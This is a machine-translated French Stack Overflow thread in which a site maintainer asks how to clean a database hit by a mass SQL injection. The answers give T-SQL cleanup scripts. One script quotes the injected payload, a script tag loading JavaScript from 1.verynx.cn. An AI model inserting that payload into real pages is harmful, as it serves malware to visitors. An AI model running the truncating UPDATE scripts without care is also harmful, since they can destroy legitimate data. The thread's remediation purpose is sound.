Question

J'ai été chargé de la maintenance d'un site web à but non lucratif qui a récemment été victime d'une attaque par injection SQL.Quelqu'un exploité un formulaire sur le site pour ajouter du texte à chaque texte-comme le champ dans la base de données (de type varchar, nvarchar, etc.) qui, une fois rendu au format HTML, comprend et exécute un fichier JavaScript.

Une recherche Google de l'URL indique que c'est à partir de l'email des spammeurs en fonction de la Roumanie ou en Chine, mais ce n'est pas ce qui est important maintenant.

Je suis allé à travers et supprimé manuellement les informations à partir des champs de texte que rendre plus visibles et les pages les plus populaires sur le site, mais je suis curieux de savoir quelle serait la meilleure manière programmatique de supprimer le texte de l'autre les champs de texte sur le site.

Évidemment, il n'y a plus que les besoins d'être fait (durcissement du site contre les injections SQL, en utilisant quelque chose comme markdown au lieu de stocker HTML, etc.) et je suis en train de travailler sur ceux mais pour le moment ce que j'ai vraiment besoin est une bonne façon d'aller dans et par programme à supprimer l'injection de texte.Je sais ce que le texte exact, c'est la même chose à chaque fois, et c'est toujours ajouté à la fin d'un champ de texte.Je ne peux pas se permettre de supprimer tout le code HTML dans la base de données en ce moment et je ne sais pas quand cela s'est passé exactement, donc je ne peux pas revenir à une sauvegarde.Aussi, le site est sur un hébergement mutualisé et je ne peut pas se connecter à la base de données directement avec les outils SQL Server.Je peux exécuter des requêtes contre, si il y a moyen de la construction d'une instruction SQL update à l'effet de "hey trouver tous les champs de texte dans toutes les tables dans la base de données et le faire nettoyer" qui serait le meilleur.

Était-ce utile?

La solution

Restaurer les données à partir d'une sauvegarde récente.

Autres conseils

J'ai été victime et vous pouvez l'utiliser pour nettoyer

UPDATE Table 
SET TextField = SUBSTRING(TextField, 1, CHARINDEX('</title', TextField) - 1)
WHERE (ID IN (SELECT ID FROM Table WHERE (CHARINDEX('</title', Textfield, 1) > 0)))

En supposant que vous êtes victime de la même attaque que tout le monde, alors SQLMenace code est à proximité.Cependant, cette attaque utilise un certain nombre de script url, de sorte que vous aurez à personnaliser pour s'assurer qu'elle correspond à l'url que vous avez vu dans votre base de données.

J'ai écrit à ce sujet en tant que bien, et ma solution de code inclus une plus-générique de nettoyage.

Un point important est que la première chose que vous devez faire est de arrêter le site.Maintenant que vous êtes activement servir des logiciels malveillants à vos utilisateurs, et qui pourrait vous mettre dans une juridique corriger plus tard.Mettre en place un espace réservé de la page afin que vos utilisateurs ne sont pas laissés dans l'obscurité, mais ne gardez pas de servir des logiciels malveillants.Ensuite, vous pouvez résoudre le site pour vous assurer qu'il n'est plus vulnérable à l'injection.La façon la plus simple de le faire pour cette attaque est de simplement désactiver sysobjects/syscolumns autorisations pour utilisateur web, mais vous aurez envie de faire plus par le biais de nettoyage en tant que bien ou c'est seulement une question de temps jusqu'à ce que vous avez craqué à nouveau.Ensuite, vous pouvez utiliser le code fourni pour nettoyer le site et de le remettre à vivre.

Cela permettra d'inverser que, aussi, il serait sage de prendre sysobject autorisations loin de le nom d'utilisateur de votre site fonctionne avec des, et de vérifier les entrées de cours

DECLARE @T VARCHAR(255),@C VARCHAR(4000) 
DECLARE Table_Cursor CURSOR FOR 
SELECT  a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor 
FETCH NEXT FROM  Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
EXEC('if exists (select 1 from ['+@T+'] where ['+@C+']  like ''%"></title><script src="http://1.verynx.cn/w.js"></script><!--'') begin print ''update ['+@T+'] set ['+@C+']=replace(['+@C+'],''''"></title><script src="http://1.verynx.cn/w.js"></script><!--'''','''''''') where ['+@C+']  like ''''%"></title><script src="http://1.verynx.cn/w.js"></script><!--'''''' end')
FETCH NEXT FROM Table_Cursor INTO @T,@C 
END 
CLOSE Table_Cursor 
DEALLOCATE Table_Cursor

J'ai écrit à ce sujet un certain temps de retour ici: Microsoft A Publié des Outils Pour contrer les Attaques par Injection SQL

Licencié sous: CC-BY-SA avec attribution
Non affilié à StackOverflow
scroll top